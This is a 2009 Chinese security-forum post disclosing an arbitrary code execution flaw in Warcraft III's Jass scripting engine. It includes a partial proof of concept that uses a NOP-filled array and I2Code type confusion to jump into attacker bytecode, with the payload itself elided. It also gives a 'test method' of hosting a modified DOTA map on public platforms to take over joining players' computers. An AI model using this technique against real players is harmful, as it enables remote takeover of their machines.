创意安天

 找回密码
 注册创意安天

问题来了。玩魔兽的得看看

[复制链接]
发表于 2009-8-11 00:55 | 显示全部楼层 |阅读模式
War3 Jass虚拟机执行任意机器码严重漏洞

影响版本:
War3 Jass漏洞描述:
Jass(正确地说是Jass2)是魔兽3的脚本语言, 用于控制地图的进程和行为, 是魔兽游戏和地图的基础. 正常的地图编辑中摆放的单位(Unit), 设置的触发(Trigger)等最终都会被翻译成Jass语言存在地图文件里在游戏时被调用.

Jass属于War3为地图开发者提供的一套脚本语言,方便开发者开发或建立修改属于自己的地图。
经过推断,CS (cstrike)可能也存在此类问题。

测试方法:
登陆浩方或者VS对战平台,修改某张地图(例如DOTA的地图),开启游戏,等待其他玩家进入,开始游戏,即可执行任意机器码,控制玩家计算机。

set bj_meleeTwinkedHeroes[1024] = 0x90909090
set bj_meleeTwinkedHeroes[1025] = 0x90909090 //and other bytecode giberish.
...

local code C = I2Code( code2I(function GetRandomDirectionDeg) + 0xC92D8 )

call TriggerAddAction(t, C)
call TriggerExecute(t)

//It will run whatever bytecode 90 90 90 90 means

function main takes nothing returns nothing
set t = CreateTrigger()
call TriggerAddAction(t, i2code(0x00929217) )
a[0]=0x45623512
a[1]=0x34562323
a[2]=0x62329301
...
//other thousand lines of this
...
b[0]=0x12312333
endfunction
您需要登录后才可以回帖 登录 | 注册创意安天

本版积分规则

小黑屋|手机版|Archiver|创意安天 ( 京ICP备09068574,ICP证100468号。 )

GMT+8, 2024-5-7 23:55

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表